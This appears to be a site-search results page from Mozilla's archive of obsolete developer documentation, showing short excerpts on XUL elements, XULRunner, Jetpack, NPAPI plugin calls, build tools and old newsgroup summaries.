...nt.getelementbyid("c"); c.innerhtml = "<p>" + count++ + "</p>"; }, onerror: function (value) { alert("error: " +value); }, queryinterface: function(iid) { netscape.security.privilegemanager.enableprivilege('universalxpconnect'); if (iid.equals(components.interfaces.nsiwifilistener) || iid.equals(components.interfaces.nsisupports)) return
this; throw components.results.ns_error_no_interface; }, } netscape.security.privilegemanager.enableprivilege('universalxpconnect'); var listener = new test(); var wifi_service = components.classes["@mozilla.org/wifi/monitor;1"].getservice(components.interfaces.nsiwifimonitor); wifi_service.startwatching(listener); </script> </head> <body> <div id="d"><p></p></div> <div id="c">...
...
this object is described in lines 11 through 40 in the code above.
Same-origin policy for file: URIs - Archive of obsolete content
directories cannot be loaded
this way, however.
...
this policy affects anything that does same-origin checks, including xmlhttprequest, xslt, and xbl.
... for cross-window dom access, each file is treated as a separate origin, with one exception: if a file is loaded from another file that would otherwise be able to load it following
this same-origin policy, they are considered to have the same origin.
...
this load can occur through a subframe, link, location set, call to window.open(), or the like.
Visualizing an audio spectrum - Archive of obsolete content
this example calculates and displays fast fourier transform (fft) spectrum data for the playing audio.
...each frequency bin ctx.fillrect(i * 4, canvas.height, 3, -magnitude); } } var audio = document.getelementbyid('audio-element'); audio.addeventlistener('mozaudioavailable', audioavailable, false); audio.addeventlistener('loadedmetadata', loadedmetadata, false); // fft from dsp.js, see below var fft = function(buffersize, samplerate) {
this.buffersize = buffersize;
this.samplerate = samplerate;
this.spectrum = new float32array(buffersize/2);
this.real = new float32array(buffersize);
this.imag = new float32array(buffersize);
this.reversetable = new uint32array(buffersize);
this.sintable = new float32array(buffersize);
this.costable = new float32ar...
...ray(buffersize); var limit = 1, bit = buffersize >> 1; while ( limit < buffersize ) { for ( var i = 0; i < limit; i++ ) {
this.reversetable[i + limit] =
this.reversetable[i] + bit; } limit = limit << 1; bit = bit >> 1; } for ( var i = 0; i < buffersize; i++ ) {
this.sintable[i] = math.sin(-math.pi/i);
this.costable[i] = math.cos(-math.pi/i); } }; fft.prototype.forward = function(buffer) { var buffersize =
this.buffersize, costable =
this.costable, sintable =
this.sintable, reversetable =
this.reversetable, real =
this.real, imag =
this.imag, spectrum ...
... =
this.spectrum; if ( buffersize !== buffer.length ) { throw "supplied buffer is not the same size as defined fft.
Locked config settings - Archive of obsolete content
putting into place locked configuration settings
this feature exists for mozilla and firefox, but not for thunderbird locked settings can be put into a mozilla.cfg file in the c:\program files\mozilla.org\mozilla directory.
...
this file also needs to be "called" from c:\program files\mozilla.org\mozilla\defaults\pref\all.js by appending the following line at the end: pref("general.config.filename", "mozilla.cfg"); note: newer versions of mozilla or firefox store the all.js file in greprefs rather than defaults\pref the moz-byteshift.pl script allows to encode...: moz-byteshift.pl -s 13 <mozilla.cfg.txt >mozilla.cfg ...
...instead make sure that file protections make
this file unmodifiable by the unprivileged user.
...} catch(e) { displayerror("test", e); } clear text configuration if you don't care about encoding the mozilla.cfg file, append
this config to all.js instead : pref("general.config.obscure_value", 0); pref("general.config.filename", "mozilla.cfg"); ...
Prerequisites - Archive of obsolete content
in order to complete
this tutorial you need to have and know how to use the following programs on your computer: an installation of mozilla; zip and unzip utilities; a text editor.
...you might install mozilla multiple times in the course of
this tutorial, so you will find it handy to keep around a mozilla installer.
... if you currently use mozilla, you should install a new copy of the software in a different location from the existing installation for the purposes of
this demo.
...
this tutorial instructs you to do things that can damage your installation and make it unusable, so don't modify your primary mozilla installation per the instructions in
this tutorial unless you really know what you are doing!
Download Manager improvements in Firefox 3 - Archive of obsolete content
nsidownloadprogresslistener applications and extensions implement
this interface to be made aware of changes in the status of downloads.
... nsidownloadmanagerui implement
this interface to replace or augment the download manager user interface.
... other download manager documentation download manager preferences
this article lists preferences used by the download manager as well as their default values.
... the download manager schema
this article describes the database format used to store and track information about each download.
Downloading Nightly or Trunk Builds - Archive of obsolete content
note that
this is an attempt at describing the current usage of these terms.
...
this usage may change.
...if one has questions about the way a particular nightly was built, the best way to get that information is to download the executable, launch it, and then go to the "about:buildconfig" page, by typing
this into the location bar.
...
this should provide all the build flags and configuration settings used for building
this executable.
Settings - Archive of obsolete content
the value of
this variable must be an object that contains a property named settings.
...jetpack will automatically generate a user interface from
this specification that users of your jetpack may use to customize the settings.
... the user can open
this interface from the "settings" button next to your jetpack on the "installed features" tab of the about:jetpack page.
...jetpack.future.import("storage.settings");
this definition will result in a user interface with an input field for each setting defined above.
Selection - Archive of obsolete content
the namespace for
this api is jetpack.selection.
...
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
...jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)
this method allows you to execute an event function when a selection is made.
...
this function receives no arguments.
Selection - Archive of obsolete content
the namespace for
this api is jetpack.selection.
...
this api currently lives in the future and must be imported for use: jetpack.future.import("selection"); getting and setting the selection the current version of jetpack.selection includes these formats: .text and .html getting the selection the following is an example of getting the selection from the user.
...jetpack.import.future("selection"); jetpack.selection.text = 'hello'; jetpack.selection.html = '<b>hello</b>'; methods onselection(func function)
this method allows you to execute an event function when a selection is made.
...
this function receives no arguments.
Nanojit - Archive of obsolete content
this chain of lirwriter objects forms a pipeline for the instructions to pass through.
... typedef js_fastcall int32_t (*addtwofn)(int32_t); addtwofn fn = reinterpret_cast<addtwofn>(f->code()); printf("2 + 5 = %d\n", fn(5)); return 0;</addtwofn>
this upper half of
this snippet includes code where the raw lir is first converted into machine code.(where compile(fragmento->assm(), f); is called basically).
...(typedef js_fastcall int32_t (*addtwofn)(int32_t); ) then, printf is hardcoded to call it with a parameter 5, and on linking with nanojit library, the following program will display 2+5=7 now, what i need to do is generate output for
this: start two = int 2 twoplustwo = add two, two ret twoplustwo
this adds two and two in the most hardcoded way possible.
...the jit code would have a guard checking
this condition(an xt guard), and would return to the interpreter if the condition turns out to be true.
Configuration - Archive of obsolete content
here is the list of parameters: id the unique name of
this web application.
... remember that other people can create different webapps using the same uri and
this webapp is only your particular instance or mashup.
...
this identifier becomes the name of the profile folder where your webapp is installed: google.mail@your.name uri the uri/url of the web app: http://mail.google.com name the display name of the application: gmail icon the icon you want to use for the prism window when running
this web app.
...status turns the status messages on or off for
this web app: yes or no location turns the readonly location bar on or off for
this web app: yes or no navigation turns the hotkey history navigation (alt+left, alt+right and alt+home) on or off for
this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading.
Prism - Archive of obsolete content
this also cuts down on ui clutter (hence the term distraction-free browser).
...
this includes the ability to create desktop shortcuts, to place the application icon in the tray or dock and to display pop-up notifications.
...we are refining
this approach to make the api applicable in as many environments as possible (e.g.
...refractor automatically takes
this information into account.
Rsyncing the CVS Repository - Archive of obsolete content
this is useful for faster diffs or for attempting to import it into another version control system.
... here's how to do it: rsync -az --delete --stats cvs-mirror.mozilla.org::mozilla ~/cvs-mirror
this will mirror the cvs repository into ~/cvs-mirror.
...at the time of
this writing,
this will take 2.8 gb of disk space.
... note that for using
this copy, the nolocks line in cvsroot/config will need to be commented out, as it requires a modified cvs binary.
Running Tamarin performance tests - Archive of obsolete content
502, use
this if cannot be calculated from executable --vm2version specify version of avm2 --vmargs2 args to pass to avm2, if not specified --vmargs will be used --nooptimize do not optimize files when compiling --perfm parse the perfm results from avm --csv= also output to csv file, filename required --csvappend append to csv file instead of overwriting...
... use --csvappend if you want to append the results to the csv file support files testconfig.txt
this file contains instructions for how the harness should handle performance tests.
... metricinfo.py
this file contains a list of metrics that the harness will look for and record.
...if
this fails, do you have a dev os installed?
Tamarin mercurial commit hook - Archive of obsolete content
the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py
this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for
this text and warns user as security changes should not be checked into the public tamarin-redux repository.
... when a violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit
this change?
...
this allows you to reuse the commit message after fixing the issue by using the -l (--logfile) option: hg commit -l /reporoot/.hg/commit.save notes at the moment
this is a local-only hook and is not enforced on the server.
...
this may change in the future and be enforced for all checkins.
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
this is a cautionary note that may be old information for some of you.
...0 : 1; }
this is a completely correct (albeit trivial) program that will run predictably on all nspr platforms other than win-16.
...the only portable manner to write
this program requires that the shared structure be allocated from the heap.
... original document information author: larryh@netscape.com, wan teh chang last updated date: december 1, 2004
this note is about writing win16-portable code that uses nspr threads, probably not interesting to today's developers ...
Venkman - Archive of obsolete content
using breakpoints in venkman
this article describes breakpoints in javascript and how to use venkman to set and examine breakpoints.
...
this api augments the existing javascript api, providing clients with a useful set of debugger functionality implemented in c.
...
this allows the user interface be written in javascript and xul, which allows venkman to be fully cross-platform.
... related topics javascript, web development, developing mozilla original document information author(s): robert ginda other contributors: doctor unclear last updated date: july 13, 2007 copyright information: portions of
this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
getWinProfile - Archive of obsolete content
you create
this object by passing a string representing the directory to the getfolder method.
...once you have
this object, you can call its methods to retrieve strings from the file or to add strings to the file.
...
this method returns null on unix and macintosh platforms.
... example to edit the win.ini file, you would create a winprofile object with
this call: var mywinprofileobj = getwinprofile (getfolder("windows"), "win.ini"); ...
Properties - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
...note that due to branching (different versions of gecko with different feature sets might be built on the same day), using
this property to "detect" the application version may produce false results.
...note, even if triggered using relative urls
this will show the full url (after qualification).
XPInstall - Archive of obsolete content
parts of
this page show the use of the xpinstall api.
... the majority of
this api is now deprecated and as of gecko 1.9 no longer available.
... learn xpi installer scripting by example
this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general.
... creating xpi installer modules
this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users.
accesskey - Archive of obsolete content
« xul reference home attribute of: button, checkbox, caption, description, label, listitem, menu, menuitem, menulist, tab, radio, toolbarbutton, textbox accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...
this allows a label of 'open…' with an accesskey of 'a', to have a generated label of 'open (a)…'.
...for consistency,
this occurs for languages such as japanese even if the labels have their accesskey characters.
allowevents - Archive of obsolete content
this means that elements placed inside a listitem do not respond to events, and instead clicking the mouse simply selects that item within the list.
... by setting the allowevents attribute to true,
this special behavior is disabled, and the events are targeted the same as other elements.
...
this does the same thing in that it allows events to be targeted normally, but allows
this to be different for each descendant.
...
this behavior is used for menus, for instance, to allow a menu button to behave as a menu when clicking on it, yet have part of the menu behave as a button.
buttons - Archive of obsolete content
this button will also be the default button.
...
this might be a button or a disclosure triangle.
... note: if you don't want to display any buttons in the dialog box, set the value of
this attribute to "," (a single comma).
...the cancel button might be shown as an additional possibility to close the dialog in
this situation (windows and linux) or might be hidden, too (mac os).
disabled - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
... // disabling an element document.getelementbyid('buttonremove').setattribute("disabled", "disabled"); // enabling back an element by removing the "disabled" attribute document.getelementbyid('buttonremove').removeattribute("disabled"); firefox 3.5 note for keyset elements, support for
this attribute was added in firefox 3.5.
oninput - Archive of obsolete content
« xul reference home oninput type: script code
this event is sent when a user enters text in a textbox.
...
this event is only called when the text displayed would change, thus it is not called when the user presses non-displayable keys.
... example <!--
this sets the label's text to the textbox value on each keystroke.
... --> <script language="javascript"> function setlabel(txtbox){ document.getelementbyid('lbl').value = txtbox.value; } </script> <label id="lbl"/> <textbox oninput="setlabel(
this);"/>
this is similar to the onkeypress event used in html documents.
onpopuphidden - Archive of obsolete content
« xul reference home onpopuphidden type: script code
this event is sent to a popup after it has been hidden.
...
this event may also be received while the popup is still open, but when sub-menus contained within
this popup are hidden.
...
this results in the method repeatedly called as the user runs the mouse up and down the menu opening the sub-menus.
... you can test for the current popup actually being hidden with: <menupopup id="top" onpopuphidden="if(
this.state != 'open'){console.log('the onpopuphidden method of id=top was called.');};" > ...
template - Archive of obsolete content
« xul reference home template type: id for template generated elements,
this attribute may optionally be placed on the root node (the element with the datasources attribute) to refer to a template that exists elsewhere in the xul code.
...
this template attribute should be set to the id of the template element.
...
this might be used to share a single template between multiple trees or menus.
... if
this attribute is not specified, there should be a template element directly inside the node.
IO - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...files and streams
this section describes how to access and get information about files, read from files and create and write files.
...for details about
this, see open and save dialogs.
...if the name 'subdirname' refers to a directory, then the returned object will refer to
this directory.
startFind - Archive of obsolete content
« xul reference home startfind( mode ) return type: no return value call
this method to handle your application's "find" command.
...
this opens the findbar, focuses the edit field for the search term, and selects its contents.
... the first time
this is called for a given findbar, the findbar will flash to draw attention to itself.
... example typically, you'll simply bind
this method to your "find" command, like
this: <command name="cmd_find" oncommand="gfindbar.startfind(gfindbar.find_normal);"/> ...
canAdvance - Archive of obsolete content
« xul reference canadvance type: boolean
this property is set to true if the user can press the next button to go to the next page.
... if
this property is false, the user cannot navigate to the next page.
... set
this property to true to indicate that the user can go to the next page.
...
this has the effect of enabling or disabling the next button, or, on the last page of the wizard, the finish button.
canRewind - Archive of obsolete content
« xul reference canrewind type: boolean
this property is set to true if the user can press the back button to go to the previous page.
... if
this property is false, the user cannot navigate to the previous page.
... set
this property to true to indicate that the user can go back a page.
...
this has the effect of enabling or disabling the back button.
Recursive Generation - Archive of obsolete content
this extra arrow which neither b or d have causes an extra set of buttons to be created.
...for the top level generation the parent insertion point is the element with the datasources attribute, in
this example a <vbox>.
...
this will correspond to the id on the appropriate element in the generated content above.
...the resulting content for row c will look like
this: <hbox id="http://www.xulplanet.com/rdf/c"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/c"/> <hbox id="http://www.xulplanet.com/rdf/d"> <button label="http://www.xulplanet.com/rdf/c"/> <button label="http://www.xulplanet.com/rdf/d"/> </hbox> </hbox> the recursive nature of templates has useful applications in menus and trees so tha...
Toolbar customization events - Archive of obsolete content
beforecustomization
this event is delivered when the user starts the toolbar customization process; for example, by right-clicking on a toolbar and choosing "customize".
... customizationchange
this event is delivered when the user makes a change to a toolbar while editing the toolbars, either by dragging an item to the toolbar or by dragging an item out of it.
... aftercustomization
this event is delivered when the user closes the toolbar customization panel.
...example in
this example, we watch for toolbar changes.
Adding more elements - Archive of obsolete content
this is because they are inside horizontal boxes.
...
this is easy to do by adding a spacer in between the two horizontal boxes.
...there are two ways to do
this.
...
this first method would require that we set the style on the box itself.
Groupboxes - Archive of obsolete content
« previousnext »
this section describes a way to include elements into groups groupboxes the groupbox element is used to group related xul elements together, much like the html fieldset element is used to group html elements.
...a simple groupbox example the example below shows a simple groupbox: example 1 : source view <groupbox> <caption label="answer"/> <description value="banana"/> <description value="tangerine"/> <description value="phone booth"/> <description value="kiwi"/> </groupbox>
this will cause four pieces of text to be displayed surrounded by a box with the label answer.
...example 2 : source view <groupbox flex="1"> <caption> <checkbox label="enable backups"/> </caption> <hbox> <label control="dir" value="directory:"/> <textbox id="dir" flex="1"/> </hbox> <checkbox label="compress archived files"/> </groupbox> in
this example, a checkbox has been used as a caption.
...
this could be used to add extra elements within the structure, such as in the following example: example 3 : source view <radiogroup> <radio id="no" value="no" label="no number"/> <radio id="random" value="random" label="random number"/> <hbox> <radio id="specify" value="specify" label="specify number:"/> <textbox id="specificnumber"/> </hbox> </radiogroup> note that the radiogroup el...
Persistent Data - Archive of obsolete content
« previousnext »
this section describes how to save the state of a xul window.
...
this method has the advantage that it works with mozilla user profiles, so that each user can have different settings.
...to do
this, we need to modify the window.
... <window id="findfile-window" title="find files" persist="screenx screeny width height" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
this will cause the x and y position of the window and the width and height of the window to be saved.
Scrolling Menus - Archive of obsolete content
« previousnext »
this section will describe scrolling menus and how to use the mechanism with other elements.
...
this behavior is automatic.
...
this element can be used to create a scrolling box with arrows.
...e view <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> if you try
this example, it will first open at full size.
Stack Positioning - Archive of obsolete content
« previousnext »
this section will describe how to position items in a stack.
...you can override
this size with the various style properties such as width and max-width.
... in
this example, the resulting width of the top-most hbox will be 400px: <stack width="600"> <hbox flex="1"> <!-- content --> </hbox> <hbox left="0" right="200" > <!-- some content here.
... --> </hbox> </stack> in some case, setting the width or height
this way may even be necessary because using the width/height attributes (eg, "width", "minwidth" and "maxwidth") inside a stack can sometimes produce unpredictable and undesireable results.
Using Visual Studio as your XUL IDE - Archive of obsolete content
compared to a simple text-editor, visual studio gives you some special features when writing xul: intellisense / autocompletion for elements and attributes validation syntax coloring (okay, more sophisticated editors like notepad++ provide
this as well) before you can use all of
this, you have to adjust visual studio a little.
...mihailo posted some instructions in
this codeplex discussion.
...make sure that visual studio is not running, when you do
this.
...as vs doesn't know how the chrome protocol works it can't detect where the dtd file is really located and thus will give you errors wherever you use the entities that are declared in
this file.
Using the standard theme - Archive of obsolete content
applying the standard theme in order to use the theme currently chosen by the user of the base application (the so called "global skin"), you have to add the following line to your xul file: <?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
this imports the styles found in the <tt>global/skin</tt> chrome directory and will make the standard xul widgets of your application use the selected chosen theme.
...for
this to work, you need to create an approriate directory structure, with directory names corresponding to the names of the themes you want to extend, and of course, your adapted custom style sheets.
... for more information on how to do
this, read about theming a custom toolbar button.
... note that both approaches described above work with
this automatic style selection.
XUL accessibility tool - Archive of obsolete content
it probably also works on seamonkey, but i haven't verified
this.
... future work the following things have been suggested or are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color and pixel sizings (aaronlev) error: duplicate accesskey in a dialog (already have
this for menus) (aaronlev) error: form control without accesskey (aaronlev) warning: accesskey as lowercase letter with descender (underlined g,j,y,q,p are hard to read, not recommended) (aaronandy) list of things to check manually, such as a list oftrees in the document (make sure they have accessible column picker equivs) or a list of toolbarbuttons (make sure they have accessible alternatives).
...merge with other xul checking tools --
this doesn't need to be a11y-specific.
... add the tool into the addons.mozilla.org review process go through the most useful/popular extensions with tool and fix a11y issues add checker to tinderbox so that bugs are caught at checkin time some or all of
this work could be done through grants, and a likely person to oversee the grant deliverables and milestones would be mark finkle.
XUL controls - Archive of obsolete content
<button type="menu" label="view"> <menupopup> <menuitem label="list"/> <menuitem label="details"/> </menupopup> </button> more information about
this type of menu button element.
... <button type="menu-button" label="new"> <menupopup> <menuitem label="new document"/> <menuitem label="new image"/> </menupopup> </button> more information about
this type of menu button element.
... <toolbarbutton type="menu" label="show"> <menupopup> <menuitem label="toolbars"/> <menuitem label="status bar"/> </menupopup> </toolbarbutton> more information about
this type of menu toolbarbutton element.
... <toolbarbutton type="menu-button" label="open"> <menupopup> <menuitem label="open changed files"/> <menuitem label="open all"/> </menupopup> </toolbarbutton> more information about
this type of menu toolbarbutton element.
arrowscrollbox - Archive of obsolete content
this element is typically used for large popup menus.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
content - Archive of obsolete content
flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width propiedades tag type: tag name
this may be set to a tag name.
... if set, the conditions will only match if the template builder is parsing content for an element directly inside
this tag.
...
this attribute is useful to provide different rules for outer and inner elements.
...
this attribute should always be present.
deck - Archive of obsolete content
attributes selectedindex properties selectedindex, selectedpanel examples <deck selectedindex="2"> <description value="
this is the first page"/> <button label="
this is the second page"/> <box> <description value="
this is the third page"/> <button label="
this is also the third page"/> </box> </deck> attributes selectedindex type: integer gets and sets the index of the currently selected panel.
...you may select an item by assigning its index to
this property.
... by assigning -1 to
this property, all items will be deselected.
...assigning a value to
this property will modify the selected panel.
rule - Archive of obsolete content
for more information about
this, see the simple query syntax.
...
this would apply to nodes that represent folders.
...
this may be used to have separate rules for leaf and container nodes with different tags.
... parsetype type: string if
this attribute is set to integer, the rule will only match rdf nodes with a parse type of integer.
scale - Archive of obsolete content
this is reverse of the order in which they appear in the xul code.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
script - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] much like the html script element,
this is used to declare a script to be used by the xul window.
...usually, you would set
this to application/javascript.
... note: if the javascript file is in chrome://, setting
this attribute to application/javascript will always use the latest available javascript version.
... if you omit
this attribute, the default (and older) javascript version is used (like you get when including a javascript file from web content without specifying a version number).
titlebar - Archive of obsolete content
this element can't be used to change the platform-native titlebar of normal windows; instead, it's used to create custom titlebars for chromeless windows.
...if you don't want
this behavior, you can override it by setting allowevents="true" on the titlebar element.
... examples
this xul file will create a hud-style window that can be moved with the mouse.
... width="300" height="200" style="background: transparent; -moz-appearance: none;"> <titlebar flex="1" oncommand="close()" style="background: rgba(30, 30, 30, 0.9); -moz-border-radius: 10px; -moz-box-shadow: 0 1px 8px rgba(0, 0, 0, 0.8); margin: 8px 12px 16px;"/> </window> it can be opened from the error console like
this: open("file:///users/markus/sites/hudwindow.xul", "", "chrome=1, titlebar=0") attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwi...
treechildren - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is the body of the tree.
... for content trees, the content will be placed inside
this element.
...
this element is also used to define container rows in the tree.
...you can use the :-moz-tree-row css style to do
this instead.
Opening a Link in the Default Browser - Archive of obsolete content
this will often be an http or https uri, but can use any scheme for which an external handler exists.
...
this can be done using the nsiexternalprotocolservice interface: // first construct an nsiuri object using the ioservice var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); var uritoopen = ioservice.newuri("http://www.example.com/", null, null); var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); // now, open it!
...to suppress
this warning for particular protocols that are safe to open in the default application, you must set default prefs (thunderbird sets the following prefs): // suppress external-load warning for standard browser schemes pref("network.protocol-handler.warn-external.http", false); pref("network.protocol-handler.warn-external.https", false); pref("network.protocol-handler.warn-external.ftp", false); you can also check whether an external handler for a scheme exists.
...
this is how you do it: var extps = components.classes["@mozilla.org/uriloader/external-protocol-service;1"] .getservice(components.interfaces.nsiexternalprotocolservice); if (extps.externalprotocolhandlerexists("http")) { // handler for http:// urls exists } link within an iframe to enable a link inside an html document that is the "src" of an iframe to be opened in the default browser, setting the preference: pref("network.protocol-handler.expose-all", false); seems to work.
Windows and menus in XULRunner - Archive of obsolete content
this time i want to add some of the things common to a desktop application user interface: windows and dialogs menus and toolbars os common dialogs controls or widgets windows each window or dialog should be created in its own xul file.
...the dtd is used to create entity references so strings for titles and labels are not stored directly in the xul file;
this makes updating the text -- and localization of the application -- much easier.
... the window title is done
this way in the above example.
...you can add a <commandset> and <command> elements like
this: <commandset> <command id="cmd_open" label="&file.open;" oncommand="dofileopen();"/> <command id="cmd_save" label="&file.save;" oncommand="dofilesave();"/> </commandset> ...
XUL Application Packaging - Archive of obsolete content
this is typically a date identifier, and should be different for every released version of an application.
... minversion specifies the minimum xulrunner version needed by
this application.
... required example: minversion=1.8 maxversion specify the maximum xulrunner version needed by
this application.
... optional - default is 0 note:
this option does not add menu items that make the extension/theme manager available in the ui; that is the responsibility of the application author.
calICalendarViewController - Archive of obsolete content
calendar/base/public/calicalendarviewcontroller.idlscriptable please add a summary to
this article.
...the calievent should have its enddate set to aendtime, if
this parameter is specified.
... related interfaces calicalendarview calidecoratedview example code var myviewcontroller = { queryinterface: function(aiid) { if (!aiid.equals(components.interfaces.calicalendarviewcontroller) && !aiid.equals(components.interfaces.nsisupports)) { throw components.results.ns_error_no_interface; } return
this; }, createnewevent: function (acalendar, astarttime, aendtime) { // if we're given both times, skip the dialog if (astarttime && aendtime && !astarttime.isdate && !aendtime.isdate) { var event = createevent(); event.startdate = astarttime; event.enddate = aendtime; event.title = "new event"; acalendar.additem(eve...
...nt, null); } else if (astarttime && astarttime.isdate) { var event = createevent(); event.startdate = astarttime; acalendar.additem(event, null); } else { createeventwithdialog(acalendar, astarttime, aendtime); } }, modifyoccurrence: function (aoccurrence, anewstarttime, anewendtime) { // if we can modify
this thing directly (e.g.
xbDesignMode.js - Archive of obsolete content
/* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of
this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use
this file except in compliance with * the license.
... * * contributor(s): doron rosenberg <doron@netscape.com> (original author) * * * * ***** end license block ***** */ /* xbdesignmode a javascript wrapper for browsers that support designmode */ function xbdesignmode(aiframe){
this.meditordocument = null;
this.miframeelement = null; // argument is a string, therefore an id if ( (typeof(aiframe) == "string") && (document.getelementbyid(aiframe).tagname.tolowercase()=="iframe") ){
this.miframeelement = document.getelementbyid(aiframe); } else if( (typeof(aiframe)=="object") && (aiframe.tagname.tolowercase() == "iframe") ){
this.miframeelement = aiframe; } e...
...lse { throw "argument isn't an id of an iframe or an iframe reference"; } if (
this.miframeelement.contentdocument){ // gecko
this.meditordocument =
this.miframeelement.contentdocument;
this.meditordocument.designmode = "on"; } else { // ie
this.meditordocument =
this.miframeelement.contentwindow.document;
this.meditordocument.designmode = "on"; // ie needs to reget the document element after designmode was set
this.meditordocument =
this.miframeelement.contentwindow.document; } } xbdesignmode.prototype.execcommand = function (acommandname, aparam){ if (
this.meditordocument)
this.meditordocument.execcommand(acommandname, false, aparam); else throw "no meditordocument found"; } xbdesignmode.prototype.setcsscreation = function (ausecss){...
... if (
this.meditordocument)
this.meditordocument.execcommand("usecss", false, ausecss); else throw "no meditordocument found"; } ...
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 4, 2006 - november 10, 2006 announcements none
this week.
... discussions site-specific search using our search box a discussion surrounding implementing a way to search a current page with the page's embedded search component and how to make
this efficient and usable.
...followed by a discussion whether
this is an improvement.
... meetings none
this week.
2006-12-01 - Archive of obsolete content
summary: mozilla.dev.apps.firefox - november 24, 2006 - december 1, 2006 announcements none
this week.
...
this implementation was removed in 2002 to fight against popups.
...devs say
this is the way its supposed to be, others say its a bug!
... meetings none
this week.
2006-10-20 - Archive of obsolete content
discussions how to use the tb/ab lastmodifieddate item and how to solve the problem regarding to
this item.
... stefan göppert suspect thunderbird inserts a wrong char("") in the bcc-field and want to confirm
this issue.
... no respond posted for
this discussion yet.
... meetings none for
this week.
2006-11-03 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - october 28 - november 03, 2006 announcements none for
this week.
... suggestion made for e-mail popup it suggested that the e-mail popup duration should depends on number of messages and examples of
this idea is provided.
... links in tb is not sent to firefox directly cédric corazza provided a code solution for
this problem.
... bug found in nslocalmailfolder.cpp david bienvenu is following up on
this bug.
2006-09-29 - Archive of obsolete content
he has already tried archiving the changed files but unfortunately
this does not work with a static build because the .exe files change every time.
... announcements there were no announcements
this week.
... discussions there were no discussions
this week.
... meetings there were no meetings
this week.
2006-11-10 - Archive of obsolete content
this feature consists of creating buttons using a small program, that allows you to create shortcuts to a particular address.
... when he ran
this "make -f client.mk build" command he receive an error saying "no such file or directory".
... announcements there are no announcements
this week.
... meetings there were no meetings
this week.
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.security - september 30, 2006 to october 6, 2006 return to mozilla-dev-tech-xul announcements none during
this week.
... other
this is for allowing protocol handlers to define a custom security model (see bug 120373).
... there is no consensus in the posts as to if
this should be allowed.
... meetings none during
this week.
2006-11-10 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 4 - november 10, 2006 announcements none
this week.
...using window.innerheight and window.scrollmaxy should resolve
this issue.
...
this can be defined within the nsicontentpolicy.
... meetings none
this week.
2006-11-17 - Archive of obsolete content
summary: mozilla.dev.tech.layout - november 11 - november 17, 2006 announcements none
this week.
...bug #360589 describes
this ongoing issue.
...the possibility of turning the microsummaryresource object into a xpcom component, which accomplishes
this task in a "hacky" manner, was also discussed.
... meetings none
this week.
NPN_GetURLNotify - Archive of obsolete content
notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes
this value (see description below).
...
this notification is the only way the plug-in can tell whether a request with a null target failed, or that a request with a non-null target completed.
... if
this function is called with a target parameter value of _self or a parent to _self,
this function should return nperr_invalid_param.
...
this is the only way to notify the plug-in once it is deleted.
NPN_PostURL - Archive of obsolete content
for http urls only, the browser resolves
this method as the http server method post, which transmits data to the server.
...plug-ins can use
this function to post form data to cgi scripts using http or upload files to a remote server using ftp.
...to do
this, use npn_posturlnotify.
...for
this reason, you may find it useful to call npn_posturlnotify instead;
this function notifies your plug-in upon successful or unsuccessful completion of the request.
